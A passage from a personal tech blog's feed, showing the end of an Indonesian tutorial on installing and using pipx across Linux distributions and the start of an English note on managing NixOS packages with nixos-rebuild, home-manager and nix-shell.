installation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Conflict resolution&lt;/td&gt;&lt;td&gt;User manages conflicts manually&lt;/td&gt;&lt;td&gt;Prevents conflicts through isolation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;System integration&lt;/td&gt;&lt;td&gt;Installs to active environment&lt;/td&gt;&lt;td&gt;Creates system-wide accessible commands&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Temporary execution&lt;/td&gt;&lt;td&gt;Requires installation first&lt;/td&gt;&lt;td&gt;Supports run-once execution with &lt;code&gt;--run&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Maintenance overhead&lt;/td&gt;&lt;td&gt;Requires environment management&lt;/td&gt;&lt;td&gt;Self-contained application management&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Repository resmi pipx juga dapat ditemui di Github:&lt;/p&gt;&lt;a href=&quot;https://github.com/pypa/pipx&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;pypa&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;pipx&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Website dokumentasi &lt;code&gt;pipx&lt;/code&gt;:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://pipx.pypa.io/stable/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;pipx&lt;/strong&gt;&lt;/a&gt;: &lt;a href=&quot;https://pipx.pypa.io/stable/&quot; target=&quot;_blank&quot;&gt;https://pipx.pypa.io/stable/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h3&gt;1. Install &lt;code&gt;pipx&lt;/code&gt;&lt;a href=&quot;#1-install-pipx&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita install &lt;code&gt;pipx&lt;/code&gt; terlebih dahulu, langsung dari repo masing-masing Linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy python-pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install pipx&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Untuk memastikan &lt;code&gt;pipx&lt;/code&gt; sudah terpasang, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Use &lt;code&gt;pipx&lt;/code&gt;&lt;a href=&quot;#2-use-pipx&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah memasang &lt;code&gt;pipx&lt;/code&gt;, sekarang kita dapat menggunakannya untuk meng-&lt;em&gt;install&lt;/em&gt; aplikasi Python dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{nama-aplikasi}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Ganti {nama-aplikasi} dengan nama aplikasi yang ingin kita &lt;em&gt;install&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Uninstall with &lt;code&gt;pipx&lt;/code&gt;&lt;a href=&quot;#3-uninstall-with-pipx&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga dapat meng-&lt;em&gt;uninstall&lt;/em&gt; atau menghapus aplikasi yang sudah di-&lt;em&gt;install&lt;/em&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;uninstall&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{nama-aplikasi}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Listing &lt;code&gt;pipx&lt;/code&gt; Apps&lt;a href=&quot;#4-listing-pipx-apps&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Jika kita ingin melihat aplikasi apa saja yang sudah pernah di-&lt;em&gt;install&lt;/em&gt; dengan &lt;code&gt;pipx&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Help&lt;a href=&quot;#5-help&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita juga dapat melihat opsi-opsi lain apa saja yang dapat kita manfaatkan ketika menggunakan &lt;code&gt;pipx&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pipx&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Beberapa artikel saya yang lain juga sebetulnya ada yang pernah memanfaatkan &lt;code&gt;pip&lt;/code&gt; dan &lt;code&gt;pipx&lt;/code&gt; untuk meng-&lt;em&gt;install&lt;/em&gt; paket Python:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cloudinary&lt;/li&gt;
&lt;/ol&gt;&lt;a href=&quot;/posts/tech/cloudinary/&quot;&gt;&lt;div&gt;&lt;div&gt;Automatic Image &amp;amp; Video File(s) Hosting in Cloudinary through Python&lt;/div&gt;&lt;div&gt;A brief tutorial on how to upload file(s) or video(s) to Cloudinary through Python script.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-05-30&lt;/span&gt;&lt;span&gt;cloudinary&lt;/span&gt;&lt;span&gt;&lt;span&gt;#cloudinary&lt;/span&gt;&lt;span&gt;#python&lt;/span&gt;&lt;span&gt;#environment&lt;/span&gt;&lt;span&gt;#images&lt;/span&gt;&lt;span&gt;#videos&lt;/span&gt;&lt;span&gt;#api&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.DyaHCHT__LL7ho.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;ol&gt;
&lt;li&gt;File Server (Updog &amp;amp; Copyparty)&lt;/li&gt;
&lt;/ol&gt;&lt;a href=&quot;/posts/tech/fileserver/&quot;&gt;&lt;div&gt;&lt;div&gt;File/Web Server Options At a Glance&lt;/div&gt;&lt;div&gt;A curated file server list that will enhance your productivity, especially as a hobbyist.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-11-28&lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;span&gt;&lt;span&gt;#server&lt;/span&gt;&lt;span&gt;#web&lt;/span&gt;&lt;span&gt;#file&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#python&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;263&quot; src=&quot;/_astro/featured.DC7jyrKB_Z2i4Qq9.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;ol&gt;
&lt;li&gt;BeatPrints&lt;/li&gt;
&lt;/ol&gt;&lt;a href=&quot;/posts/tech/beatprints/&quot;&gt;&lt;div&gt;&lt;div&gt;BeatPrints: Your Favorite Spotify Poster&lt;/div&gt;&lt;div&gt;A quick and stylish posters for your favorite tracks!🎷☕️&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-05-04&lt;/span&gt;&lt;span&gt;beatprints&lt;/span&gt;&lt;span&gt;&lt;span&gt;#beatprints&lt;/span&gt;&lt;span&gt;#spotify&lt;/span&gt;&lt;span&gt;#music&lt;/span&gt;&lt;span&gt;#poster&lt;/span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#windows&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;241&quot; src=&quot;/_astro/featured.XZoyCGBa_Z14Xc40.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Notes:&lt;a href=&quot;#notes&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;1. Getting out of &lt;code&gt;venv&lt;/code&gt;&lt;a href=&quot;#1-getting-out-of-venv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk keluar dari sesi &lt;em&gt;virtual environment&lt;/em&gt; yang sudah diaktifkan ketika meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;packages&lt;/em&gt; via &lt;code&gt;pip&lt;/code&gt; sebelumnya, kita dapat mengetikkan perintah &lt;code&gt;exit&lt;/code&gt; atau &lt;em&gt;shortcut&lt;/em&gt; &lt;code&gt;Ctrl+d&lt;/code&gt; di terminal.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Delete &lt;code&gt;venv&lt;/code&gt;&lt;a href=&quot;#2-delete-venv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita merasa tidak lagi membutuhkannya, kita dapat menghapus folder paket tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-rf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{nama-folder}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Python_(programming_language)&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Python_(programming_language)&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://packaging.python.org/en/latest/tutorials/installing-packages/&quot; target=&quot;_blank&quot;&gt;https://packaging.python.org/en/latest/tutorials/installing-packages/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@martia_es/pip-vs-pipx-the-definitive-guide-to-python-package-management-a7039a5c62fa&quot; target=&quot;_blank&quot;&gt;https://medium.com/@martia_es/pip-vs-pipx-the-definitive-guide-to-python-package-management-a7039a5c62fa&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://betterstack.com/community/comparisons/pip-vs-pipx/&quot; target=&quot;_blank&quot;&gt;https://betterstack.com/community/comparisons/pip-vs-pipx/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>My NixOS Personal Note</title><link>https://shangdi.github.io/posts/tech/nixos/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/nixos/</guid><description>My personal notes with regard to Nixos&apos; stuff. Additional suggestions coming from you might be taken into account and will definitely very helpful.</description><pubDate>Wed, 10 Dec 2025 13:42:37 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h3&gt;1. NixOS main config files&lt;a href=&quot;#1-nixos-main-config-files&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;1. NixOS config&lt;/strong&gt;:&lt;br /&gt;
&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt; -&amp;gt; nix default system config.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;2. Nix Home Manager config&lt;/strong&gt;:&lt;br /&gt;
&lt;code&gt;~/.config/home-manager/home.nix&lt;/code&gt; -&amp;gt; nix home manager config.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;2. Adding &amp;amp; Removing Packages&lt;a href=&quot;#2-adding--removing-packages&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Search for the package name on &lt;a href=&quot;https://search.nixos.org/packages&quot; target=&quot;_blank&quot;&gt;https://search.nixos.org/packages&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Add the desired package(s) in&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;configuration.nix&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;environment.systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;obs-studio &lt;/span&gt;&lt;span&gt;# contoh meng-install obs-studio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Then, after adding the package name(s), run this command on the terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;switch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# directly switch to a new profile&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;boot&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# apply the alteration on the boot menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# try the change without saving it on the boot menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;home.nix&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;home.packages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;obs-studio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Then, after adding the package name(s), run this command on the terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;home-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;switch&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Alternatively, install a package as a temporary one:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;obs-studio&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;To remove package(s), simply remove it from the config files and run this command on the terminal:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# for configuration.nix&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;switch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# directly switch to a new profile&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;boot&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# apply the alteration on the boot menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nixos-rebuild&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;test&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# try the change without saving it on the boot 